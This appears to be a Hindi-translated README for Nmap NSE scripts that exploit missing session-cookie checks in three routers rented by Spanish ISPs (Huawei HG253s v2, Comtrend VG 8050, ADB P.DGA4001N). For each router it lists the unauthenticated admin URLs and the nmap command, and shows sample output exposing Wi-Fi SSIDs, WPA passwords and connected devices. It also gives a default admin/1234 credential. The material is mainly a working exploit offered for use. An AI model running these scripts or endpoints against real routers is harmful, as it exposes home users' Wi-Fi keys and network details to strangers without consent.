यह क्या है?

राउटर से जानकारी खोजने के लिए कुछ NSE स्क्रिप्ट्स।

इन स्क्रिप्ट्स के लेखक VicenDominguez हैं। उन्होंने Huawei पर 0-Day पाया, मैंने केवल दो अन्य के लिए संशोधित किया।

इस स्क्रिप्ट का लेखक इसके उपयोग के लिए ज़िम्मेदार नहीं है।

#Huawei HG253s v2 Vodafone-स्पेन स्पेनिश ग्राहकों को नया Huawei HG253v2 राउटर किराए पर देना शुरू कर रहा है। यह नया राउटर नए फर्मवेयर संस्करण के साथ आ रहा है।

##भेद्यता मूल रूप से, यह कुछ प्रशासनिक वेबपेजों में सत्र कुकी को सत्यापित नहीं कर रहा है। इसलिए, इंटरनेट के लिए खुले किसी भी राउटर में उन URLs से सीधी जानकारी प्राप्त करना संभव है।

• http://IPhtml_253s/api/ntwk/WlanBasic
• http://IP/html_253s/api/system/diagnose_internet
• http://IP/html_253s/api/system/hostinfo?type=ethhost
• http://IP/html_253s/api/system/hostinfo?type=guesthost
• http://IP/html_253s/api/system/hostinfo?type=homehost
• http://IP/html_253s/api/system/hostinfo?type=wifihost
• http://IP/html_253s/api/system/wizardcfg

##उपयोग

nmap --script=http-enum-vodafone-hua253s.nse -p80,443 -sS x.x.x.x

Nmap scan report for x.x.x.x (x.x.x.x)
Host is up (0.34s latency).
PORT    STATE SERVICE
80/tcp  open  http
| http-enum-vodafone-hua253s: 
|   SSID: vodafone070 (14:b9:XX:XX:XX:XX) Password: (AES) 123456
|   Device: android-246e67b281179679-Wireless MAC: 48:5A:3F:XX:XX:XX IP: 192.168.0.XX

#Comtrend VG 8050 Telefonica-स्पेन स्पेनिश ग्राहकों को नया Comtrend VG 8050 राउटर किराए पर देना शुरू कर रहा है। यह नया राउटर नए फर्मवेयर संस्करण के साथ आ रहा है। यह बग DaniLabs द्वारा पाया गया है

##भेद्यता मूल रूप से, यह कुछ प्रशासनिक वेबपेजों में सत्र कुकी को सत्यापित नहीं कर रहा है। इसलिए, इंटरनेट के लिए खुले किसी भी राउटर में उन URLs से सीधी जानकारी प्राप्त करना संभव है।

• http://IP/getWifiInfo.jx
• http://IP/listDevices.jx
• http://IP/infoApplications.jx

##उपयोग

nmap --script=http-enum-telefonica-comtrend-vg-8050.nse -p80,443 -sS x.x.x.x

Nmap scan report for x.x.x.x (x.x.x.x)
Host is up (0.34s latency).
PORT    STATE SERVICE
80/tcp  open  http
| http-enum-telefonica-comtrend-vg-8050: 
|   SSID: MOVISTAR_XXX
|   Cipher Algorithm: WPA
|   Password WEP: 
|   Password WPA: gTU3NkXE44RYjuM2RrxM
|   Password WPA2: 
|   Device: 192.168.0.X MAC: 5c:97:X:X:X:X IP: 192.168.0.X

#ADB P.DGA4001N उर्फ HomeStation Telefonica-स्पेन स्पेनिश ग्राहकों को नया ADB P.DGA4001N राउटर किराए पर देना शुरू कर रहा है। यह नया राउटर नए फर्मवेयर संस्करण के साथ आ रहा है। यह बग DaniLabs द्वारा पाया गया है

##भेद्यता मूल रूप से, यह कुछ प्रशासनिक वेबपेजों में सत्र कुकी को सत्यापित नहीं कर रहा है। इसलिए, इंटरनेट के लिए खुले किसी भी राउटर में उन URLs से सीधी जानकारी प्राप्त करना संभव है।

• http://IP/getWifiInfo.jx
• http://IP/listDevices.jx
• http://IP/infoApplications.jx

डिफ़ॉल्ट क्रेडेंशियल admin / 1234 हैं ##उपयोग

nmap --script=http-enum-telefonica-homestation.nse -p80,443 -sS x.x.x.x

Nmap scan report for x.x.x.x (x.x.x.x)
Host is up (0.34s latency).
PORT    STATE SERVICE
80/tcp  open  http
| http-enum-telefonica-homestation: 
|   SSID: WLAN_HOME
|   Cipher Algorithm: WEP
|   Device: IphonePedro MAC: A8:8E:24:X:X:X IP: 192.168.1.X